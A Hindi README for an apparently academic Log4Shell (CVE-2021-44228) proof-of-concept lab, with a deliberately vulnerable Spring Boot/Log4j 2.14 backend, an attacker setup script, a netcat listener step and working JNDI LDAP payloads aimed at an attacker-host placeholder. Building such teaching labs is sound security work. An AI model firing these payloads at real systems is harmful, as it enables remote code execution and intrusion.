TPAS Log4Shell प्रमाण-अवधारणा

यह रिपॉजिटरी Log4Shell भेद्यता (CVE-2021-44228) के लिए एक प्रमाण-अवधारणा (PoC) रखता है, जिसे FCUP में सूचना सुरक्षा में मास्टर डिग्री के पाठ्यक्रम के भाग के रूप में विकसित किया गया है।

इसमें शामिल है:

• एक React SPA फ्रंटएंड जो एक सामान्य ई-कॉमर्स वेबसाइट का अनुकरण करता है जिसमें उत्पादों को ब्राउज़ करना और विवरण, मूल्य, रेटिंग आदि जैसी बुनियादी जानकारी देखना जैसी सुविधाएँ हैं, जो dummy JSON API https://dummyjson.com/docs/products के माध्यम से प्रदान की जाती हैं।
• एक Spring Boot REST API बैकएंड जो Log4j 2.14 के एक असुरक्षित संस्करण का उपयोग करता है।
• एक bash स्क्रिप्ट जो Log4Shell का शोषण करने के लिए आवश्यक अधिकांश हमलावर-पक्षीय चीज़ों को सेटअप करती है।

इस स्टैक को चलाने के लिए आपको चाहिए:

• लक्ष्य होस्ट पर:
  • docker स्थापित करें
  • docker-compose.yaml में NEXT_PUBLIC_BACKEND_URL env var में <target_ip> बदलें
  • docker-compose up चलाएँ
• हमलावर होस्ट पर:
  • java, python और maven स्थापित करें
  • आवश्यक पोर्ट खोलें, पोर्ट और स्क्रिप्ट के कार्यों को देखने के लिए "./init.sh --help" देखें
  • init.sh स्क्रिप्ट चलाएँ
  • एक netcat लिसनर चलाएँ, nc -lvnp

एक बार सब कुछ चल रहा हो:

इस पेलोड को सर्च बार में रखें (URL-एन्कोडेड क्योंकि यह GET क्वेरी पैरामीटर पर होगा):

%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

या इस पेलोड को किसी अनुरोध के हेडर में रखें (आप अनुरोध को इंटरसेप्ट करने और उसे बदलने के लिए burp suite का उपयोग कर सकते हैं):

${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

वेबसाइट पर, उपयोगकर्ता के नाम के बगल में एक आइकन है जो \$\{jndi:.*?} नियमित अभिव्यक्ति का उपयोग करके लॉग किए गए स्ट्रिंग को सैनिटाइज़ करने या न करने के बीच टॉगल करने की अनुमति देता है। डिफ़ॉल्ट रूप से, सैनिटाइज़ेशन अक्षम है, जिसे एक लाल दानव आइकन द्वारा दर्शाया गया है। जब सैनिटाइज़ेशन सक्षम होता है, तो आइकन हरे स्माइली चेहरे में बदल जाता है।